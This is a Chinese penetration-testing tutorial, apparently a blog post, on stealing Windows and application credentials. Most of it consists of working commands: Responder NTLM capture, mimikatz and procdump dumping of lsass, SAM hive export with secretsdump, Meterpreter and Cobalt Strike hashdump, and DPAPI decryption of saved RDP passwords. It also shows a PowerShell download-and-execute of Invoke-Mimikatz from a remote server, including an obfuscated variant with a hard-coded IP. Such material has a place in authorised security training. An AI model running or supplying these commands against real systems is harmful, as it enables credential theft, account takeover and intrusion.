渗透测试-Windows密码凭证获取

Windows密码凭证获取

Windows认证基础

Windows的认证包括三个部分:

  1. 本地认证:用户直接操作计算机登录账户
  2. 网络认证:远程连接到工作组中的某个设备
  3. 域认证:登陆到域环境中的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  4. 匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的。

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1.协商
双方确定使用的协议版本, NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同

在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

2.质询
挑战(Chalenge)/ 响应(Response)认证机制的核心

  1. 客户端向服务器端发送用户信息(用户名)请求
  2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为" Challenge ", 然后使用登录用户名对应的 NTLMHash 加密Challenge(16位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
  3. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。

3.验证

在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进
行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈
希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道
正确的密码也可通过认证。

Net-ntlm hash破解

  1. 在kali运行工具responder。
    监听eth0端口流量。
responder -I eth0 -v -r -f

在这里插入图片描述

  1. 如果内网的目标机器输入了错误的命令,就会通过其他协议在局域网内请求,我们就可以截取Net-ntlm hash。

在这里插入图片描述

  1. 将截取的hash写入hash.txt,运行john。
    在这里插入图片描述john --format=netntlmv2 hash.txt
    在这里插入图片描述

系统用户凭证获取

mimikatz

mimikatz for Win10下载:

https://github.com/gentilkiwi/mimikatz/releases

本地非交互式凭证获取:

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

在这里插入图片描述

在这里插入图片描述

2.0

privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码

1.X

privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1

Powershell本地加载mimikatz脚本:

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'  #提权=>导出明文密码

在这里插入图片描述

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'  # 提权=>导入数据库,ntlmhash密文

在这里插入图片描述

Powershell远程加载mimikatz脚本:

  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

在这里插入图片描述

  1. 运行powershell命令,加载mimikatz脚本。
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps-ip:8000/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred

在这里插入图片描述

powershell混淆:

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvokeMimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

在这里插入图片描述

Powershell 加载 Get-PassHashes脚本:
脚本下载地址:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

在这里插入图片描述

  1. 在目标机器执行命令,得到用户和hash。
powershell IEX(new-object net.webclient).downloadstring('http://1.15.132.67:8000/GetPassHashes.ps1');Get-PassHashes

在这里插入图片描述

procdump+mimikatz

Procdump下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

For 32bits:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:

procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

在这里插入图片描述

然后使用 mimikatz 还原密码:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

在这里插入图片描述

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

在这里插入图片描述
mimikatz:导出ntlmhash。

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

在这里插入图片描述

impacket:

https://github.com/SecureAuthCorp/impacket/tree/master/examples

将生成的三个文件放到脚本目录下:
在这里插入图片描述

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

在这里插入图片描述

Meterpreter获取Hash

Hashdump

方法一

先上线一个会话到msf。
在这里插入图片描述

查看用户权限是否为system,不是的话进行提权,提权后,使用hashdump模块导出hash值。在这里插入图片描述
将hash值放到第三方页面读取明文密码。
在这里插入图片描述

方法二

使用post/windows/gather/smart_hashdump模块导出hash。
在这里插入图片描述Hash格式: 用户名称:RID:LM-HASH值:NTLM-HASH值

mimikatz
方法三

load kiwi  //加载模块
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令

在这里插入图片描述

在这里插入图片描述

CobaltStrike获取Hash

前提上线cs。
在这里插入图片描述

 hashdump

在这里插入图片描述

 logonpasswords

在这里插入图片描述

 mimikatz sekurlsa::logonpasswords

在这里插入图片描述

其他密码凭证获取

RDP连接密码解密

mimikatz

  1. 查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

在这里插入图片描述
我的没有连接过。

  1. 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsof\Credentials\*

在这里插入图片描述

  1. 查看保存在本地的远程主机信息
cmdkey /list

在这里插入图片描述

  1. 选择一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里插入图片描述

  1. 查看保存在本地的远程主机信息
cmdkey /list

在这里插入图片描述

  1. 选择步骤四一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
privilege::debug
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\密码文件名

在这里插入图片描述

记录值guidMasterKey : {34dc48bb-0af9-4925-bf07fakhsdjahsdja}

  1. 根据 guidMasterKey 找到对应的 Masterkey。
sekurlsa::dpapi

在这里插入图片描述

  1. 通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码。
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\1密码文件 /masterkey:masterkey对应的值

在这里插入图片描述

在这里插入图片描述

Powershell脚本获取RDP连接记录

脚本下载地址  https://github.com/3gstudent/List-RDP-Connections-History.git
powershell -exec bypass .\ListLogged-inUsers.ps1

在这里插入图片描述
上线cs。

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

在这里插入图片描述
由于没有远程连接过,下面只赘述步骤,不进行演示,有连接记录的话可以操作。

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
 shell cmdkey /list
mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\文件名" "exit"

Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。

一般都包含有数据库类型,物理位置,用户名和密码等信息

MYSQL数据库文件类型

MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件;

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中

与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ,MYSQL数据库用户密码都保存
在 user.MYD 文件中,包括root用户和其他用户的密码。

Mysql加密方式

MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。

mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set

MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际的密码运算中, MYSQLSHA1 加密的密码的实际位数是40位。

获取Mysql数据库密码hash值
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码值:
在这里插入图片描述

Hash破解

在线网站破解

www.cmd5.com
www.somd5.com

上边已有Hash破解方法,这里不做赘述。

其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
源码:
https://github.com/RowTeam/SharpDecryptPwd

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值